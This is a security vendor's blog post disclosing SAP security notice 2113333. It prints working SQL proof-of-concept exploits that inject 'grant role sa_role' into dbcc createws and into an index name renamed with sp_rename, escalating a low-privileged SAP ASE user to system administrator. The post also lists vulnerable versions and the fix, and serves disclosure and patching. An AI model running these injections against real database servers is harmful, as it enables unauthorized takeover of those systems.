CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

About SAP security notice 2113333

SAP published security notice 2113333 "Multiple SQL injection vulnerabilities in SAP ASE" on January 12, 2015 that describes security fixes available for Adaptive Server Enterprise 15.0, 15.5, 15.7, and 16.0. The highest CVSS score is 8.5. These fixes resolve two privilege escalation issues via SQL injection. One SQLi is in the dbcc createws command (CVE-2014-6286). Database users that can create databases can leverage this to get system administrator privileges. Below is proof-of-concept for this vulnerability:

create database dbccdb
go
dbcc createws(dbccdb, 'x', 'b(id int) grant role sa_role to DB_LOGIN--', scan, 48)
go

This particular exploit works because the code behind the dbcc command does some internal housekeeping and as a part of it runs some SQL using the dbcc command input as argument. It turns out that it fails to validate the input. This leads to the embedded grant command execution with highest possible privileges.

Another vulnerability fixed is privilege escalation from replication_role holder to sa_role holder via the sp_setreptable system stored procedure (CVE-2014-6285):

-- run as 'DB_LOGIN' who holds 'replication_role'
use tempdb
go
create table mpl (id int primary key, val text)
go
exec sp_setreptable mpl, true, owner_on, use_index
go
set quoted_identifier on
go
declare @index_name varchar(200)
select @index_name = 'mpl.repl_' + cast(object_id('mpl') as varchar(100)) + '_250'
exec sp_rename @index_name, '"A"grant role sa_role to DB_LOGIN--"', 'index'
go
sp_setreptable mpl, false
go
drop table mpl
go
sp_displayroles
go

This works because the code executed internally fails to validate input, and code renaming objects also fail to do sanity checks. Always validate the input and throw an exception when it does not look good!

How can these two vulnerabilities be exploited in the real world? Let's say some custom application used by a company connects to Adaptive Server Enterprise using a log-in holding create database or the replication_role. Then users of this application can use the log-in in some client like isql to directly connect to the database and execute SQL code to elevate privileges. Or, if that is a web application vulnerable to SQLi, attackers might exploit this issues to escalate privileges as well.

Vulnerable versions are: 15.0.3 below ESD#4.4, 15.5 below ESD#5.4, 15.7 below SP130, and 16.0 below PL05.

As usual, Trustwave's database security products, AppDetective and DbProtect, ensure that all necessary patches are applied to database servers to prevent this type of attack.

 

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More